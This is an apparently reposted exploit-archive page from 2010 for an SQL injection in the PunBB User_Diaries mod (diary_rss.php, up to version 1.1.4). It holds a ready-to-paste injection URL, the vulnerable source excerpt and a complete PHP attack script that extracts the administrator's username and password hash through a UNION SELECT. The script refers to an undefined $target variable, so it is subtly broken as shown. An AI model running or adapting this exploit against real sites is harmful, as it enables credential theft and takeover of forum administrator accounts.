Home / os / win7

PunBB Mod User_Diaries <= 1.1.4 (diary_rss.php) Sql Injec

Posted on 30 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>PunBB Mod User_Diaries &lt;= 1.1.4 (diary_rss.php) Sql Injection Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=====================================================================
PunBB Mod User_Diaries &lt;= 1.1.4 (diary_rss.php) Sql Injection Exploit
=====================================================================

#!/usr/bin/php
&lt;?PHP
error_reporting(E_STRICT ^ E_WARNING);


/*
---------------------------------------------------------------------
PunBB Mod User_Diaries &lt;= 1.1.4 &quot;diary_rss.php&quot; sql injection exploit
---------------------------------------------------------------------
download: http://www.punres.org/files.php?pid=467 
by staker[at]hotmail[dot]it
---------------------------------------------------------------------

[*] http://[example]/diary_rss.php?id=0+UNION+SELECT+1,CONCAT_WS(0x3a,username,password),3,4,5,6,7,8,9+FROM+foo_users+WHERE+id=2#


[EXPLANATION / NOTE: IT WORKS REGARDLESS OF PHP.INI SETTINGS]
-------------------------------------------------------------
{1} $user_id become $_GET['id'] variable.
{2} $user_id become $where variable.
{3} mysql query -&gt; users AS r ON u.poster_id=r.id&quot;.$where.&quot; there's no escape &amp; quotes.
-------------------------------------------------------------

[file: diary_rss.php | line: 69-83]

if (!empty($_GET[&quot;id&quot;]))
{
	$user_id = $_GET[&quot;id&quot;];  &lt;---- {1}
    $where = &quot; WHERE u.poster_id = &quot;.$user_id;  &lt;---- {2}
}
else
{
	$user_id = '';
    $where = '';
}


$result = $db-&gt;query(&quot;
SELECT u.id, r.username, u.poster, u.poster_id, u.poster_ip, u.message, u.posted, u.entry_date,
u.image_ext FROM &quot;.$db-&gt;prefix.&quot;diary as u LEFT JOIN &quot;.$db-&gt;prefix.&quot;users AS  
r ON u.poster_id=r.id&quot;.$where.&quot; ORDER BY u.posted DESC LIMIT 0,20 &lt;------- {3}
&quot;) or error('Unable to fetch diary entries', __FILE__, __LINE__, $db-&gt;error()); 

*********************************************************************************/

echo('
---------------------------------------------------------------------
PunBB Mod User_Diaries &lt;= 1.1.4 &quot;diary_rss.php&quot; sql injection exploit
----------------------------------------------------------------------
by staker[at]hotmail[dot]it

');

$host = $argv[1];
$path = $argv[2];

$pre = &quot;punbb_&quot;; // default table_prefix.
$uid = 2; // default id (admin)


$sql = '0+UNION+SELECT+1,CONCAT_WS(0x3a,username,password),3,4,5,6,7'.
       &quot;,8,9+FROM+{$pre}users+WHERE+id={$uid}%23&quot;;
	   

if ($argc != 3) {
   die (&quot;Usage: php diary.php localhost /punbb/
&quot;);
}
   


$packet = &quot;GET {$path}/diary_rss.php?id={$sql} HTTP/1.1
&quot;.
		  &quot;Host: {$host}
&quot;.
		  &quot;User-Agent: Lynx (textmode)
&quot;.
		  &quot;Connection: close

&quot;;
		  
        
if (preg_match('/&lt;title&gt;(.+?)&lt;/title&gt;/',data_send($target,$packet),$content)) {
   $array = explode(&quot;'&quot;,$content[0]);
   print &quot;Result: $array[1]
&quot;;
}

else {
   echo &quot;Exploit failed
&quot;;
}   
		

function data_send ($host,$data) {
   
    if (!$sock = @fsockopen($host,80)) {
        die(&quot;Connection refused,try again!
&quot;);
    }   fputs($sock,$data);
    
    while (!feof($sock)) { $html .= fgets($sock); }
    
    fclose($sock);
    return $html;
}   



?&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-30]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :